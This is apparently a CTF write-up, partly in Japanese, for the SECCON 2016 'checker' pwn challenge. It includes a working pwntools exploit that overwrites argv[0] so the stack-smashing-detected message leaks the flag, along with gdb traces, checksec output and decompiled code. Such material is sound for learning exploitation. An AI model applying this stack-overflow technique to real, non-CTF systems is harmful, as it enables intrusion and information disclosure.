exploit
300 points
checker
Host : checker.pwn.seccon.jp
Port : 14726
checker (SHA1 : 576202ccac9c1c84d3cf6c2ed0ec4d44a042f8ef)
SECCON{y0u_c4n'7_g37_4_5h3ll,H4h4h4} terminated
pinksawtooth
K_atc
new!
strcmp(&flag, var_90)
で失敗したのち、__stack_chk_fail()
を呼び出す
from pwn import *
from sys import argv
# context.log_level = 'debug'
def bp():
raw_input("break point: ")
LOCAL = True
if len(argv) > 1 and argv[1] == "r":
LOCAL = False
BIN = "./checker"
e = ELF(BIN)
r = None
offset = {}
if LOCAL:
r = process(BIN)
offset = {"puts": 0x68fe0, "system": 0x3af40, "/bin/sh": 0x15ef08, "one_gadget": 0xb8a38}
else:
r = remote("checker.pwn.seccon.jp", 14726)
offset = {"puts": 0x6fd60, "system": 0x40310, "/bin/sh": 0x16084c, "one_gadget": 0xc1bf2}
"""
Hello! What is your name?
NAME :
Do you know flag?
>> yes
Oh, Really??
Please tell me the flag!
FLAG :
Why won't you tell me that???
"""
r.recvuntil("NAME : ")
# r.sendline("A"*0x80 + "B")
r.sendline("tomori nao")
flag_addr_str = p64(e.symbols["flag"])
argv0_offset = 0x90 + (376 - 136) - 8
r.recvuntil(">> ")
r.sendline("A" * argv0_offset + flag_addr_str[0:3] + "A" * 5)
r.recvuntil(">> ")
r.sendline("A" * argv0_offset + flag_addr_str[0:3] + "A" * 4)
r.recvuntil(">> ")
r.sendline("A" * argv0_offset + flag_addr_str[0:3] + "A" * 3)
r.recvuntil(">> ")
r.sendline("A" * argv0_offset + flag_addr_str[0:3] + "A" * 2)
r.recvuntil(">> ")
r.sendline("A" * argv0_offset + flag_addr_str[0:3] + "A" * 1)
r.recvuntil(">> ")
r.sendline("A" * argv0_offset + flag_addr_str[0:3])
r.recvuntil(">> ")
r.sendline("yes")
bp()
r.recvuntil("FLAG : ")
r.sendline("i don't know")
r.interactive()
[katc@K_atc checker]$ python2 checker.py r
[+] Opening connection to checker.pwn.seccon.jp on port 14726: Done
break point:
[*] Switching to interactive mode
You are a liar...
*** stack smashing detected ***: SECCON{y0u_c4n'7_g37_4_5h3ll,H4h4h4} terminated
[*] Got EOF while reading in interactive
以下方針はボツ
方針1:
方針:
頻度の低い解法→方針:
flag.txtを読み込んで,以下で比較
.text:00000000004008CA loc_4008CA: ; CODE XREF: main+A2j
.text:00000000004008CA lea rax, [rbp+s1]
.text:00000000004008D1 mov rsi, rax ; s2
.text:00000000004008D4 mov edi, offset flag ; s1
.text:00000000004008D9 call _strcmp
.text:00000000004008DE test eax, eax
.text:00000000004008E0 jz short loc_4008E9
.text:00000000004008E2 mov eax, offset aYouAreALiar___ ; "You are a liar...\n"
.text:00000000004008E7 jmp short loc_4008EE
=> 0x4008d9 <main+209>: call 0x400620 <strcmp@plt>
0x4008de <main+214>: test eax,eax
0x4008e0 <main+216>: je 0x4008e9 <main+225>
0x4008e2 <main+218>: mov eax,0x400ad7
0x4008e7 <main+223>: jmp 0x4008ee <main+230>
Guessed arguments:
arg[0]: 0x6010c0 --> 0xa47414c46 ('FLAG\n')
arg[1]: 0x7fffffffe1f0 --> 0x47414c46 ('FLAG')
ret
で潰すか、かWe found some misconfiguration of checker challenge, sorry.
We don't fix(change) it , this challenge is easier than other 300 chals.
Please challenge it!
リモートではSSP付いてないのかな?
*** stack smashing detected ***: ./checker terminated
だけは表示されるので付いている
スタックにflagが残っている?←ローカルで確認した限り無かった
[katc@K_atc checker]$ file *
checker: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=93df47896b068ea44ddcd0b97780375cd589987e, not stripped
gdb-peda$ checksec
CANARY : ENABLED
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : FULL
gdb-peda$ vmmap
Start End Perm Name
0x00400000 0x00401000 r-xp /home/katc/Dropbox/CTF/SECCON-2016-Quals/checker/checker
0x00600000 0x00601000 r--p /home/katc/Dropbox/CTF/SECCON-2016-Quals/checker/checker
0x00601000 0x00602000 rw-p /home/katc/Dropbox/CTF/SECCON-2016-Quals/checker/checker
0x00602000 0x00623000 rw-p [heap]
0x00007ffff7a3c000 0x00007ffff7bd1000 r-xp /usr/lib/libc-2.24.so
0x00007ffff7bd1000 0x00007ffff7dd0000 ---p /usr/lib/libc-2.24.so
0x00007ffff7dd0000 0x00007ffff7dd4000 r--p /usr/lib/libc-2.24.so
0x00007ffff7dd4000 0x00007ffff7dd6000 rw-p /usr/lib/libc-2.24.so
0x00007ffff7dd6000 0x00007ffff7dda000 rw-p mapped
0x00007ffff7dda000 0x00007ffff7dfd000 r-xp /usr/lib/ld-2.24.so
0x00007ffff7fb2000 0x00007ffff7fb4000 rw-p mapped
0x00007ffff7ff8000 0x00007ffff7ffa000 r--p [vvar]
0x00007ffff7ffa000 0x00007ffff7ffc000 r-xp [vdso]
0x00007ffff7ffc000 0x00007ffff7ffd000 r--p /usr/lib/ld-2.24.so
0x00007ffff7ffd000 0x00007ffff7ffe000 rw-p /usr/lib/ld-2.24.so
0x00007ffff7ffe000 0x00007ffff7fff000 rw-p mapped
0x00007ffffffde000 0x00007ffffffff000 rw-p [stack]
0xffffffffff600000 0xffffffffff601000 r-xp [vsyscall]
gdb-peda$ i func \@plt
All functions matching regular expression "\@plt":
Non-debugging symbols:
0x00000000004005c0 _exit@plt
0x00000000004005d0 __stack_chk_fail@plt
0x00000000004005e0 close@plt
0x00000000004005f0 dprintf@plt
0x0000000000400600 read@plt
0x0000000000400610 __libc_start_main@plt
0x0000000000400620 strcmp@plt
0x0000000000400630 __gmon_start__@plt
0x0000000000400640 open@plt
0x0000000000400650 perror@plt
[katc@K_atc checker]$ ./checker
Hello! What is your name?
NAME : name
Do you know flag?
>> yes ← yはダメ(聞き直される)
Oh, Really??
Please tell me the flag!
FLAG : false flag
You are a liar...
[katc@K_atc checker]$ cat flag.txt
false flag
yesと比較している
0x601040 … name
0x6010c0 … flag
Starting program: /root/Desktop/checker
Hello! What is your name?
NAME : AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOABBBB
nameに128文字+"フラグにする文字"をいれる
Do you know flag?
>> yes
Oh, Really??
Please tell me the flag!
FLAG : BBBB
flagを聞かれるのでフラグにする文字と同じものを入れる
gdb-peda$ c
Continuing.
Thank you, AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOABBBB!!
名前が出力される
main()における$rbp以下のスタック内容
gdb-peda$ telescope $rbp 40
0000| 0x7ffcf54c1260 --> 0x400900 (<main+248>: call 0x4005f0 <dprintf@plt>)
0008| 0x7ffcf54c1268 --> 0x7feb1dda6291 (<__libc_start_main+241>: mov edi,eax)
0016| 0x7ffcf54c1270 --> 0x40000
0024| 0x7ffcf54c1278 --> 0x7ffcf54c1348 --> 0x7ffcf54c2674 ("./checker")
0032| 0x7ffcf54c1280 --> 0x11dee6c48
0040| 0x7ffcf54c1288 --> 0x400808 (<main>: push rbp)
0048| 0x7ffcf54c1290 --> 0x0
0056| 0x7ffcf54c1298 --> 0x1c0d7ff72d76a16a
0064| 0x7ffcf54c12a0 --> 0x400660 (<_start>: xor ebp,ebp)
0072| 0x7ffcf54c12a8 --> 0x7ffcf54c1340 --> 0x1
0080| 0x7ffcf54c12b0 --> 0x0
0088| 0x7ffcf54c12b8 --> 0x0
0096| 0x7ffcf54c12c0 --> 0xe3f495ef1af6a16a
0104| 0x7ffcf54c12c8 --> 0xe3db44c3fa84a16a
0112| 0x7ffcf54c12d0 --> 0x0
0120| 0x7ffcf54c12d8 --> 0x0
0128| 0x7ffcf54c12e0 --> 0x0
0136| 0x7ffcf54c12e8 --> 0x7ffcf54c1358 --> 0x7ffcf54c267e ("LC_MEASUREMENT=en_US.UTF-8")
0144| 0x7ffcf54c12f0 --> 0x7feb1e348110 --> 0x0
0152| 0x7ffcf54c12f8 --> 0x7feb1e13360b (<_dl_init+139>: )
0160| 0x7ffcf54c1300 --> 0x0
0168| 0x7ffcf54c1308 --> 0x0
0176| 0x7ffcf54c1310 --> 0x400660 (<_start>: xor ebp,ebp)
0184| 0x7ffcf54c1318 --> 0x7ffcf54c1340 --> 0x1
0192| 0x7ffcf54c1320 --> 0x0
0200| 0x7ffcf54c1328 --> 0x400689 (<_start+41>: hlt)
0208| 0x7ffcf54c1330 --> 0x7ffcf54c1338 --> 0x1c
0216| 0x7ffcf54c1338 --> 0x1c
0224| 0x7ffcf54c1340 --> 0x1
0232| 0x7ffcf54c1348 --> 0x7ffcf54c2674 ("./checker")
function getaline {
var_18 = arg0;
var_8 = *0x28;
var_D = 0xff;
var_C = 0x0;
while (((var_D & 0xff) != 0x0) && (read(0x0, var_D, 0x1) != 0x0)) { // accepts first NULL
if ((var_D & 0xff) == 0xa) {
var_D = 0x0;
}
*(int8_t *)(sign_extend_64(var_C) + var_18) = var_D & 0xff;
var_C = var_C + 0x1;
}
rax = var_C;
rcx = var_8 ^ *0x28;
COND = rcx == 0x0;
if (!COND) {
rax = __stack_chk_fail();
}
return rax;
}
function main {
var_8 = *0x28;
dprintf(0x1, "Hello! What is your name?\nNAME : ");
getaline(0x601040);
do { // 何度でもスタック破壊可能(Stack Smashing→"yes\0")
dprintf(0x1, "\nDo you know flag?\n>> ");
getaline(var_90);
} while (strcmp(var_90, "yes") != 0x0);
dprintf(0x1, "\nOh, Really??\nPlease tell me the flag!\nFLAG : ");
getaline(var_90);
// first byte must be non-NULL
if ((*(int8_t *)var_90 & 0xff) == 0x0) {
dprintf(0x1, "Why won't you tell me that???\n");
rax = _exit(0x0);
}
else {
strcmp(0x6010c0, var_90) == 0x0;
dprintf(0x1, 0x0);
rax = 0x0;
rcx = var_8 ^ *0x28;
COND = rcx == 0x0;
if (!COND) {
rax = __stack_chk_fail();
}
}
return rax;
}